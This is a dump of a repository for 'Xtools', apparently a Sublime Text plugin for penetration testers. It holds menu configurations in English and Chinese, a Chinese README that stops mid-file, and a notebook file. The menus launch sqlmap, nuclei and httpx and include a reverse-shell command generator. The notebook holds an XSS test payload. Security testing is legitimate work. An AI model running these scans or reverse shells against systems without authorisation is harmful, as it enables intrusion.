[
  {
    "path": "Context.sublime-menu",
    "content": "[\n    {\n        \"id\": \"xtools\",\n        \"caption\": \"🖥️ Xtools\",\n        \"children\": [\n            {\n                \"caption\": \"💻 IP And Domain\",\n                \"children\": [\n                    {\n                        \"caption\": \"Select ipv4 (LAN)\",\n                        \"command\": \"select_ipv4_lan\"\n                   },\n                   {\n                        \"caption\": \"Select ipv4 (WAN)\",\n                        \"command\": \"select_ipv4_wan\"\n                   },\n                   {\n                        \"caption\": \"Select ipv4 (Range)\",\n                        \"command\": \"select_ipv4_range\"\n                   },\n                   {\n                        \"caption\": \"Select ipv4 (ip:port)\",\n                        \"command\": \"select_ipv4_port\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Count ipv4 (Number)\",\n                        \"command\": \"count_ipv4_number\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Convert Range[C] to ipv4\",\n                        \"command\": \"convert_range_c2ip\"\n                   },\n                   {\n                        \"caption\": \"Convert ipv4 to Range[C]\",\n                        \"command\": \"convert_range_ip2c\"\n                   },\n                   {\n                        \"caption\": \"Convert ipv4 to Range[B]\",\n                        \"command\": \"convert_range_ip2b\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Select domain (root)\",\n                        \"command\": \"select_domain_root_all\",\n                        \"args\": {\"cmd\": \"root\"}\n                   },\n                   {\n                        \"caption\": \"Select domain (all)\",\n                        \"command\": \"select_domain_root_all\",\n                        \"args\": {\"cmd\": \"all\"}\n                   },\n                   {\n                        \"caption\": \"Filter ip (DNS,CDN)\",\n                        \"command\": \"filter_dns_cdn_host\"\n                   },\n                   {\n                        \"caption\": \"Filter domain (DNS,CDN)\",\n                        \"command\": \"filter_dns_cdn_domain\"\n                   },\n                ]\n            },\n            {\n                \"caption\": \"🌐 URL And Router\",\n                \"children\": [\n                    {\n                        \"caption\": \"Select Urls (- path)\",\n                        \"command\": \"select_urls_exclude_path\"\n                   },\n                   {\n                        \"caption\": \"Select Urls (+ path)\",\n                        \"command\": \"select_urls_include_path\"\n                   },\n                   {\n                        \"caption\": \"Select Routers (js,text)\",\n                        \"command\": \"select_routers_from_text\"\n\n                   },\n                   {\n                        \"caption\": \"Recover Js Link (webpack)\",\n                        \"command\": \"recover_js_link\"\n                    },\n                ]\n            },\n            {\n                \"caption\": \"🔎 Text Editing | Finding\",\n                \"children\": [\n                    {\n                        \"caption\": \"Remove Special Chars\",\n                        \"command\": \"remove_special_chars\"\n                   },\n                   {\n                        \"caption\": \"Remove Space Char\",\n                        \"command\": \"remove_specific_string\",\n                        \"args\": {\"str\":\"space\"}\n                   },\n                   {\n                        \"caption\": \"Remove Specific String [*]\",\n                        \"command\": \"remove_specific_string\",\n                        \"args\": {\"str\":\"[*]\"}\n                   },\n                   {\n                        \"caption\": \"Remove Specific String (*)\",\n                        \"command\": \"remove_specific_string\",\n                        \"args\": {\"str\":\"(*)\"}\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Select Lines (match input)\",\n                        \"command\": \"select_lines\"\n                   },\n                   {\n                        \"caption\": \"Delete Lines (match input)\",\n                        \"command\": \"delete_lines\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Add Prefix (one->line)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"prefix\"}\n                   },\n                   {\n                        \"caption\": \"Add Prefix (line->line)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"prefix-line\"}\n                   },\n                   {\n                        \"caption\": \"Add Suffix (one->line)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"suffix\"}\n                   },\n                   {\n                        \"caption\": \"Add Suffix (line->line)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"suffix-line\"}\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Replace Key To Value\",\n                        \"command\": \"replace_key_to_value\"\n                   },\n                   {\n                        \"caption\": \"Replace Value To Key\",\n                        \"command\": \"replace_value_to_key\"\n                   },\n                   {\n                        \"caption\": \"Sort And Unique\",\n                        \"command\": \"sort_and_unique_text\"\n                   },\n                ]\n            },\n            {\n                \"caption\": \"🖱️ Text Encode | Decode\",\n                \"children\": [\n                    {\n                        \"caption\": \"Base64 Encode (text)\",\n                        \"command\": \"base64_encode_text\"\n                   },\n                   {\n                        \"caption\": \"Base64 Decode (text)\",\n                        \"command\": \"base64_decode_text\"\n                   },\n                   {\n                        \"caption\": \"Base64 Encode (line)\",\n                        \"command\": \"base64_encode_line\"\n                   },\n                   {\n                        \"caption\": \"Base64 Decode (line)\",\n                        \"command\": \"base64_decode_line\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n\n                   {\n                        \"caption\": \"URL Encode (text)\",\n                        \"command\": \"url_encode_decode_text\",\n                        \"args\": {\"cmd\":\"encode\"}\n                   },\n                   {\n                        \"caption\": \"URL Decode (text)\",\n                        \"command\": \"url_encode_decode_text\",\n                        \"args\": {\"cmd\":\"decode\"}\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n\n                   {\n                        \"caption\": \"Md5 Hash (text)\",\n                        \"command\": \"md5_encrypt_text\"\n                    },\n                    {\n                        \"caption\": \"Md5 Hash (line)\",\n                        \"command\": \"md5_encrypt_line\"\n                    },\n                ]\n            },\n            {\n                \"caption\": \"-\"\n\n            },\n            {\n                \"caption\": \"⭕ Running Command\",\n                \"children\": [\n                    {\n                        \"caption\": \"curl (Download File)\",\n                        \"command\": \"curl_download_file\"\n                    },\n                    /* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件\n                       eg: httpx -l target.txt\n                       */\n                    {\n                        \"caption\": \"httpx\",\n                        \"command\": \"run_cmd\",\n                        \"args\": {\"cmd\":\"httpx -sc -title -l target.txt\"}\n                    },\n                    {\n                        \"caption\": \"nuclei\",\n                        \"command\": \"run_cmd\",\n                        \"args\": {\"cmd\":\"nuclei -l target.txt\"}\n                    },\n                    {\n                        \"caption\": \"sqlmap\",\n                        \"command\": \"run_cmd\",\n                        \"args\": {\"cmd\":\"sqlmap -r target.txt\"}\n                    },\n\n                    /* -- END -- */\n\n                ]\n            },\n            {\n                \"caption\": \"♻️ Format Tools Result\",\n                \"children\": [\n                    {\n                        \"caption\": \"nmap (xml->host:port)\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"nmap\", \"mode\": \"ip\"}\n                    },\n                    {\n                        \"caption\": \"nmap (xml->domain:port)\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"nmap\", \"mode\": \"domain\"}\n                    },\n                    {\n                        \"caption\": \"dirsx (classify result)\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"dirsx\", \"mode\": \"\"}\n                    },\n                    {\n                        \"caption\": \"fscan (classify result)\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"fscan\", \"mode\": \"\"}\n                    },\n                    {\n                        \"caption\": \"-\"\n\n                   },\n                    {\n                        \"caption\": \"Highlight Text (httpx)\",\n                        \"command\": \"highlight_httpx_nuclei\",\n                        \"args\": {\"tool\": \"httpx\"}\n                    },\n                    {\n                        \"caption\": \"Highlight Text (nuclei)\",\n                        \"command\": \"highlight_httpx_nuclei\",\n                        \"args\": {\"tool\": \"nuclei\"}\n                    },\n                    {\n                        \"caption\": \"Highlight Text\",\n                        \"command\": \"highlight_httpx_nuclei\",\n                        \"args\": {\"tool\": \"text\"}\n                    },\n                ]\n            },\n            {\n                \"caption\": \"🕵️‍♀️ Pentest Help Module\",\n                \"children\": [\n                    {\n                        \"caption\": \"File Upload Package\",\n                        \"command\": \"pentest_help_module\",\n                        \"args\": {\"tool\": \"upload\"}\n                    },\n                    {\n                        \"caption\": \"Reverse Shell Tools\",\n                        \"children\": [\n                            {\n                                \"caption\": \"Shell (bash, /bin/bash)\",\n                                \"command\": \"reverse_shell_tools\",\n                                \"args\": {\"shell\": \"bash\"}\n                            },\n                            {\n                                \"caption\": \"Shell (sh, /bin/bash)\",\n                                \"command\": \"reverse_shell_tools\",\n                                \"args\": {\"shell\": \"sh\"}\n                            },\n                            {\n                                \"caption\": \"Shell (nc, python, php)\",\n                                \"command\": \"reverse_shell_tools\",\n                                \"args\": {\"shell\": \"other\"}\n                            },\n                        ]\n                    },\n                ]\n            }, \n            {\n                \"caption\": \"-\"\n\n            },\n            {\n                \"caption\": \"🌓 Xtools Themes\",\n                \"command\": \"setting_xtools_theme\",\n                \"children\": [\n                    {\n                        \"caption\": \"Default-Catppuccin Macchiato\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Default-Catppuccin Macchiato\"}\n                    },\n                    {\n                        \"caption\": \"Default-Catppuccin Mocha\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Default-Catppuccin Mocha\"}\n                    },\n                    {\n                        \"caption\": \"Default-Palenight Theme\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Default-Palenight Theme\"}\n                    },\n                    {\n                        \"caption\": \"Palenight-Catppuccin Macchiato\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Palenight Theme-Catppuccin Macchiato\"}\n                    },\n                    {\n                        \"caption\": \"Palenight-Catppuccin Mocha\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Palenight Theme-Catppuccin Mocha\"}\n                    },\n                    {\n                        \"caption\": \"Palenight-Palenight Theme\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Palenight Theme-Palenight Theme\"}\n                    },\n                ],\n            },\n            {\n                \"caption\": \"⚙️ Xtools Setting\",\n                \"children\": [\n                    {\n                        \"caption\": \"Setting Config\",\n                        \"command\": \"setting_xtools_config\"\n                    },\n                    {\n\n                        \"caption\": \"English 🔜 Chinese\",\n                        \"command\": \"switch_language\"\n                    },\n                ]\n            },\n            {\n                \"caption\": \"📝 Xtools Notebook\",\n                \"command\": \"xtools_note_book\"\n            }, \n            {\n\n                \"caption\": \"⌨️ Input Text\",\n                \"command\": \"input_text\"\n            },\n            {\n                \"caption\": \"-\"\n\n            },\n            {\n                \"caption\": \"🖥️ About Xtools\",\n                \"command\": \"about_xtools\"\n            },\n        ]\n    }\n]\n"
  },
  {
    "path": "Context.sublime-menu.bak",
    "content": "[\n    {\n        \"id\": \"xtools\",\n        \"caption\": \"🖥️ Xtools\",\n        \"children\": [\n            {\n                \"caption\": \"💻 IP和域名模块\",\n                \"children\": [\n                    {\n                        \"caption\": \"提取 IPv4 (内网)\",\n                        \"command\": \"select_ipv4_lan\"\n                   },\n                   {\n                        \"caption\": \"提取 IPv4 (外网)\",\n                        \"command\": \"select_ipv4_wan\"\n                   },\n                   {\n                        \"caption\": \"提取 IPv4 (段)\",\n                        \"command\": \"select_ipv4_range\"\n                   },\n                   {\n                        \"caption\": \"提取 IPv4 (ip:port)\",\n                        \"command\": \"select_ipv4_port\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"统计 IPv4 次数\",\n                        \"command\": \"count_ipv4_number\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"拆分IP范围[C段]为IPv4\",\n                        \"command\": \"convert_range_c2ip\"\n                   },\n                   {\n                        \"caption\": \"转换IPv4为C段\",\n                        \"command\": \"convert_range_ip2c\"\n                   },\n                   {\n                        \"caption\": \"转换IPv4为B段\",\n                        \"command\": \"convert_range_ip2b\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"提取域名 (根域名)\",\n                        \"command\": \"select_domain_root_all\",\n                        \"args\": {\"cmd\": \"root\"}\n                   },\n                   {\n                        \"caption\": \"提取域名 (根|子域名)\",\n                        \"command\": \"select_domain_root_all\",\n                        \"args\": {\"cmd\": \"all\"}\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"过滤IPv4 (DNS,CDN)\",\n                        \"command\": \"filter_dns_cdn_host\"\n                   },\n                   {\n                        \"caption\": \"过滤域名 (DNS,CDN)\",\n                        \"command\": \"filter_dns_cdn_domain\"\n                   },\n                ]\n            },\n            {\n                \"caption\": \"🌐 URL和路由模块\",\n                \"children\": [\n                    {\n                        \"caption\": \"提取URL (不包含路径)\",\n                        \"command\": \"select_urls_exclude_path\"\n                   },\n                   {\n                        \"caption\": \"提取URL (包含路径)\",\n                        \"command\": \"select_urls_include_path\"\n                   },\n                   {\n                        \"caption\": \"提取路径|路由\",\n                        \"command\": \"select_routers_from_text\"\n\n                   },\n                ]\n            },\n            {\n                \"caption\": \"🔎 文本提取|替换|删除\",\n                \"children\": [\n                    {\n                        \"caption\": \"删除特殊字符\",\n                        \"command\": \"remove_special_chars\"\n                   },\n                   {\n                        \"caption\": \"删除空格\",\n                        \"command\": \"remove_specific_string\",\n                        \"args\": {\"str\":\"space\"}\n                   },\n                   {\n                        \"caption\": \"删除 [] 内的信息\",\n                        \"command\": \"remove_specific_string\",\n                        \"args\": {\"str\":\"[*]\"}\n                   },\n                   {\n                        \"caption\": \"删除 () 内的信息\",\n                        \"command\": \"remove_specific_string\",\n                        \"args\": {\"str\":\"(*)\"}\n                   },\n                   {\n                        \"caption\": \"删除匹配的行\",\n                        \"command\": \"delete_lines\"\n                   },\n                   {\n                        \"caption\": \"提取匹配的行\",\n                        \"command\": \"select_lines\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"添加前缀 (一行对多行)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"prefix\"}\n                   },\n                   {\n                        \"caption\": \"添加前缀 (多行对多行)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"prefix-line\"}\n                   },\n                   {\n                        \"caption\": \"添加后缀 (一行对多行)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"suffix\"}\n                   },\n                   {\n                        \"caption\": \"添加后缀 (多行对多行)\",\n                        \"command\": \"add_prefix_suffix\",\n                        \"args\": {\"cmd\":\"suffix-line\"}\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"替换Key为Value\",\n                        \"command\": \"replace_key_to_value\"\n                   },\n                   {\n                        \"caption\": \"替换Value为Key\",\n                        \"command\": \"replace_value_to_key\"\n                   },\n                   {\n                        \"caption\": \"去重并排序\",\n                        \"command\": \"sort_and_unique_text\"\n                   },\n                ]\n            },\n            {\n                \"caption\": \"🖱️ 文本编码|解码\",\n                \"children\": [\n                    {\n                        \"caption\": \"Base64编码（全部）\",\n                        \"command\": \"base64_encode_text\"\n                   },\n                   {\n                        \"caption\": \"Base64解码（全部）\",\n                        \"command\": \"base64_decode_text\"\n                   },\n                   {\n                        \"caption\": \"Base64编码（按行）\",\n                        \"command\": \"base64_encode_line\"\n                   },\n                   {\n                        \"caption\": \"Base64解码（按行）\",\n                        \"command\": \"base64_decode_line\"\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"URL 编码\",\n                        \"command\": \"url_encode_decode_text\",\n                        \"args\": {\"cmd\":\"encode\"}\n                   },\n                   {\n                        \"caption\": \"URL 解码\",\n                        \"command\": \"url_encode_decode_text\",\n                        \"args\": {\"cmd\":\"decode\"}\n                   },\n                   {\n                        \"caption\": \"-\"\n\n                   },\n                   {\n                        \"caption\": \"Md5加密（全部）\",\n                        \"command\": \"md5_encrypt_text\"\n                    },\n                    {\n                        \"caption\": \"Md5加密（按行）\",\n                        \"command\": \"md5_encrypt_line\"\n                    },\n                ]\n            },\n            {\n                \"caption\": \"-\"\n\n           },\n            {\n                \"caption\": \"⭕ 命令运行模块\",\n                \"children\": [\n                    {\n                        \"caption\": \"curl (Download File)\",\n                        \"command\": \"curl_download_file\"\n                    },\n                    /* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件\n                       eg: httpx -l target.txt\n                       */\n                    {\n                        \"caption\": \"httpx\",\n                        \"command\": \"run_cmd\",\n                        \"args\": {\"cmd\":\"httpx -sc -title -l target.txt\"}\n                    },\n                    {\n                        \"caption\": \"nuclei\",\n                        \"command\": \"run_cmd\",\n                        \"args\": {\"cmd\":\"nuclei -l target.txt\"}\n                    },\n                    {\n                        \"caption\": \"sqlmap\",\n                        \"command\": \"run_cmd\",\n                        \"args\": {\"cmd\":\"sqlmap -r target.txt\"}\n                    },\n\n                    /* -- END -- */\n\n                ]\n            },\n            {\n                \"caption\": \"♻️ 整理｜高亮工具结果\",\n                \"children\": [\n                    {\n                        \"caption\": \"nmap (xml->host:port)\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"nmap\", \"mode\": \"ip\"}\n                    },\n                    {\n                        \"caption\": \"nmap (xml->domain:port)\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"nmap\", \"mode\": \"domain\"}\n                    },\n                    {\n                        \"caption\": \"dirsx 结果分类|整理\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"dirsx\", \"mode\": \"\"}\n                    },\n                    {\n                        \"caption\": \"fscan 结果分类|整理\",\n                        \"command\": \"format_tools_result\",\n                        \"args\": {\"tool\": \"fscan\", \"mode\": \"\"}\n                    },\n                    {\n                        \"caption\": \"-\"\n\n                   },\n                    {\n                        \"caption\": \"整理|高亮结果 (httpx)\",\n                        \"command\": \"highlight_httpx_nuclei\",\n                        \"args\": {\"tool\": \"httpx\"}\n                    },\n                    {\n                        \"caption\": \"整理|高亮结果 (nuclei)\",\n                        \"command\": \"highlight_httpx_nuclei\",\n                        \"args\": {\"tool\": \"nuclei\"}\n                    },\n                    {\n                        \"caption\": \"高亮文本\",\n                        \"command\": \"highlight_httpx_nuclei\",\n                        \"args\": {\"tool\": \"text\"}\n                    },\n                ]\n            },\n            {\n                \"caption\": \"🕵️‍♀️ 渗透测试辅助模块\",\n                \"children\": [\n                    {\n                        \"caption\": \"文件上传请求包\",\n                        \"command\": \"pentest_help_module\",\n                        \"args\": {\"tool\": \"upload\"}\n                    },\n                    {\n                        \"caption\": \"生成反弹shell命令\",\n                        \"children\": [\n                            {\n                                \"caption\": \"Shell (bash, /bin/bash)\",\n                                \"command\": \"reverse_shell_tools\",\n                                \"args\": {\"shell\": \"bash\"}\n                            },\n                            {\n                                \"caption\": \"Shell (sh, /bin/bash)\",\n                                \"command\": \"reverse_shell_tools\",\n                                \"args\": {\"shell\": \"sh\"}\n                            },\n                            {\n                                \"caption\": \"Shell (nc, python, php)\",\n                                \"command\": \"reverse_shell_tools\",\n                                \"args\": {\"shell\": \"other\"}\n                            },\n                        ]\n                    },\n                ]\n            },\n            {\n                \"caption\": \"-\"\n\n            },\n            {\n                \"caption\": \"🌓 Xtools 主题\",\n                \"command\": \"setting_xtools_theme\",\n                \"children\": [\n                    {\n                        \"caption\": \"Default-Catppuccin Macchiato\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Default-Catppuccin Macchiato\"}\n                    },\n                    {\n                        \"caption\": \"Default-Catppuccin Mocha\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Default-Catppuccin Mocha\"}\n                    },\n                    {\n                        \"caption\": \"Default-Palenight Theme\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Default-Palenight Theme\"}\n                    },\n                    {\n                        \"caption\": \"Palenight-Catppuccin Macchiato\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Palenight Theme-Catppuccin Macchiato\"}\n                    },\n                    {\n                        \"caption\": \"Palenight-Catppuccin Mocha\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Palenight Theme-Catppuccin Mocha\"}\n                    },\n                    {\n                        \"caption\": \"Palenight-Palenight Theme\",\n                        \"command\": \"setting_xtools_theme\",\n                        \"args\": {\"theme\": \"Palenight Theme-Palenight Theme\"}\n                    },\n                ],\n            },\n            {\n                \"caption\": \"⚙️ Xtools 配置\",\n                \"children\": [\n                    {\n                        \"caption\": \"设置 Config\",\n                        \"command\": \"setting_xtools_config\"\n                    },\n                    {\n\n                        \"caption\": \"中文 🔜 英文\",\n                        \"command\": \"switch_language\"\n                    },\n                ]\n            },           \n            {\n                \"caption\": \"📝 Xtools 记事本\",\n                \"command\": \"xtools_note_book\"\n            }, \n            {\n\n                \"caption\": \"⌨️ 输入文本\",\n                \"command\": \"input_text\"\n            },\n            {\n                \"caption\": \"-\"\n\n            },\n            {\n                \"caption\": \"🖥️ 关于 Xtools\",\n                \"command\": \"about_xtools\"\n            },\n        ]\n    }\n]\n"
  },
  {
    "path": "Notebook.md",
    "content": "## xtools 记事本\n> 功能：临时笔记、payload...\n\n```paylaod\n<script>alert(1)</script>\n```\n"
  },
  {
    "path": "README.md",
    "content": "<h1 align=\"center\">Xtools</h1>\n<h3 align=\"center\">Xtools 是一款 Sublime Text 插件、同时是一款简单的资产处理、命令行调用工具</h3>\n<p align=\"center\">\n  <img src=\"https://img.shields.io/badge/Plugin-Sublime_Text-blue?color=rgb(138%2C171%2C128)\">\n  <img src=\"https://img.shields.io/badge/Version-V4.2.3-green?style=flat\">\n  <img src=\"https://img.shields.io/github/last-commit/chasingboy/Xtools\">\n  <img src=\"https://img.shields.io/github/stars/chasingboy/Xtools?style=flat&labelColor=rgb(41%2C52%2C52)&color=green\">\n  <img src=\"https://img.shields.io/github/issues/chasingboy/Xtools\">\n  <img src=\"https://visitor-badge.laobi.icu/badge?page_id=chasingboy.Xtools&left_color=green&right_color=#66ccff\">\n</p>\n\n<img width=\"975\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/f20db515-4e9e-4c4d-aec9-ed4a310a0f34\">\n\n\n\n### 前言\nXtools 是一款 Sublime Text 插件，同时是一款简单的资产处理工具，在渗透测试实战过程中，有很多重复的操作，所以思考着写一款小工具来减少重复的劳动。\n\n日常渗透中使用过一款资产文本清洗工具，使用起来感觉不错，并且添加了一些额外功能，在此感谢 @xinyu2428 师傅。\n\n\n但在日常使用过程中，总感觉缺少了点什么。思考着继续补充 javascript 代码，发现无法和命令行进行交互，遂放弃。一番挣扎过后，发现很多时候都在使用 Subliem Text 编辑器，嗯，最后的思路就是集成在 Sublime Text 插件。这样一来，同时减少了很多的 ctl+c 和 ctl+v。  \n\n<img width=\"1649\" alt=\"1\" src=\"https://github.com/chasingboy/Xtools/blob/main/assets/xtools.png\">\n  \n### 功能\n\n✅ 支持 IP｜Domain｜URL 处理\n   * 提取 IPv4 (内网、外网、IP段)\n   * IPv4 和 C 段互转\n   * IPv4 地址范围拆分\n     ```\n     1.1.1.1-100\n     1.1.1.1-1.1.1.100\n     1.1.1.1-1.1.2.100\n     1.1.1.1/24\n     1.1.1.1/28\n     ... ...\n     ```\n   * 统计 IPv4 次数\n   * 提取 Domain（根域名、根域名|子域名）\n   * 提取 URL（有路径、无路径）\n   * 提取 Router（js｜text）\n   * 过滤 CDN 和 DNS 域名和IP（需补充域名和IP）\n\n✅ 支持简单文本处理\n   * 删除特殊字符、空格、`[*]`、`(*)` （* 表示括号内的所有内容）\n   * 按行提取指定内容\n   * 按行删除指定内容\n   * 替换指定字典的 key 和 value\n\n✅ 支持简单编码和解码\n   * base64 编码和解码\n   * url 编码和解码\n   * md5 加密\n\n✅ 支持调用系统命令执行\n   * curl 下载文件\n   * sqlmap\n   * ......（自行配置）\n\n✅ 支持整理｜高亮工具扫描结果\n   * 转换 nmap｜masscan xml 结果为 host:port 格式\n   * 整理和分类 fscan 扫描结果\n   * 整理和高亮 httpx 和 nuclei 扫描结果\n\n✅ 渗透测试辅助模块\n   * 返回文件上传数据包，方便测试文件上传接口\n   * 提供反弹 shell 命令生成\n  \n### 使用截图\n🏷️ 在文本中提取 IP。\n\n<img width=\"1736\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/b53054e3-2192-4292-98cb-08068bbbe219\"><br/>\n    \n🏷️ 按行进行 base64 编码。\n\n<img width=\"1736\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/ac3ffa1f-ff2a-45c8-b018-72dc37891108\"><br/>\n\n🏷️ 按字典进行 key 和 value 替换。\n\n<img width=\"1721\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/c2c0d300-26c7-4b49-aa5f-0c06f63d8b38\"><br/>\n\n🏷️ 打开终端调用 sqlmap。\n\n<img width=\"1736\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/933036ac-52be-4fac-b315-73bc59e6cafd\"><br/>\n\n🏷️ curl 批量下载文件，会在桌面自动创建 work 文件夹，并保存下载结果。\n\n<img width=\"1731\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/071abf87-839d-49f3-bca6-ac9719327e8e\"><br/>\n\n🏷️ 在处理需要输入时，选择 Input Text 即可打开输入框。\n\n<img width=\"1698\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/96b80ebb-c73d-4666-b527-fb998d4d2f1b\"><br/>\n\n### 配置命令行\n选择 Setting Config 即可打开配置文件，并在注释的范围内添加需要的系统命令。统一格式为 `\"args\": {\"cmd\":\"sqlmap -r target.txt\"}`， 比如 slqmap，httpx，nuclei、dirscan 对应不同字典。\n\n```\n/* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件\n    eg: httpx -l target.txt\n*/\n{\n    \"caption\": \"httpx [GET]\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"httpx -x GET -sc -title -l target.txt\"}\n},\n{\n    \"caption\": \"httpx [POST]\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"httpx -x POST -sc -title -l target.txt\"}\n},\n{\n    \"caption\": \"nuclei\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"nuclei -l target.txt\"}\n},\n{\n    \"caption\": \"sqlmap\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"sqlmap -r target.txt\"}\n},\n{\n    \"caption\": \"dirscan (dir1.txt)\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"dirscan -w /.../dicts/dir1.txt -l target.txt\"}\n},\n{\n    \"caption\": \"dirscan (dir2.txt)\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"dirscan -w /.../dicts/dir2.txt -l target.txt\"}\n},\n\n/* -- END -- */\n```\n\n~~⚠️ 注意：命令行功能目前只支持 macOS。~~\n\n#### 新增功能-支持 windows 命令行调用\n```\n/* 通过 <args->cmd> 设置命令, 设置目标为 target.txt, 运行时自动替换为临时文件\n   eg: httpx -l target.txt\n*/\n{\n    \"caption\": \"httpx\",\n    \"command\": \"run_cmd\",\n    \"args\": {\"cmd\":\"C:\\\\Users\\\\kali\\\\httpx\\\\httpx -sc -title -l target.txt\"}\n},\n/* -- END -- */\n```\n比如配置 httpx 命令，或者把 httpx 命令添加到环境变量。\n\n<img width=\"1846\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/ecc36edb-c1d0-40d2-907c-7fd90bce36ac\">\n\n### fscan 扫描结果整理\n按照 ip:port、web-poc、weak-password、web-info 等分类 fscan 的结果，且对部分结果进行颜色处理，方便浏览。\n\n<img width=\"1458\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/3c581ae2-bcc9-4e67-8fd4-63dda6645d13\">\n\nweb 相关信息按照状态码进行排序、指纹信息标红处理、弱口令分类处理等。\n\n<img width=\"1469\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/02aca0de-9cb3-4b15-aaac-d92b3f70b9b7\">\n\n\n### httpx｜nuclei 扫描结果整理\nhttpx｜nuclei 工具的扫描结果保存在 txt 文件中，在二次查看时，总是白茫茫一遍，容易错过重点资产，因此对相关信息进行排序和高亮处理，提高浏览的舒适性。\n\n<img width=\"1454\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/02a9fb31-5f82-4029-9edc-9d8464ddc679\">\n\n<img width=\"1465\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/e956e7e1-567e-458c-a877-3c4f7b9993d6\">\n\n\n\n### 安装\n下载源码，github 下载后文件名 Xtools-main.zip，解压后需重命名为 Xtools，否则可能某些路径出错。\n\n进入到 Sublime Text 插件目录：Preferences->Browse Packpages，把 Xtools 放在该目录下即可。\n\n<img width=\"1730\" alt=\"image\" src=\"https://github.com/chasingboy/Xtools/assets/39737245/6d4a5c50-1079-4534-8acf-9aec8213dc23\"><br/>\n\n⚠️ 注意：python 调用 masOS 终端需要 applescript 模块，请勿删除\n\n#### 安装报错\n最近有师傅反馈，window 11 安装时出现错误，功能无法正常使用。经过调试，发现是师傅的系统**用户名是中文**。如果系统的用户名是中文且安装不成功，可以尝试在 xtools.py 文件自定义系统用户名。\n```python\n# 获取 HOME PATH\nHOME = os.path.expanduser(\"~\")\n\n'''\n-> 如果系统的用户名是中文且安装不成功，可以尝试在 xtools.py 文件设置系统的 \"<用户名>\"\n-> 删除 # 注释\nEg: \nHOME = \"C:\\\\Users\\\\\" + u\"中文\"\n'''\n\n#HOME = \"/Users/\" + u\"<用户名>\"    # osx\n#HOME = \"/home/\" + u\"<用户名>\"     # 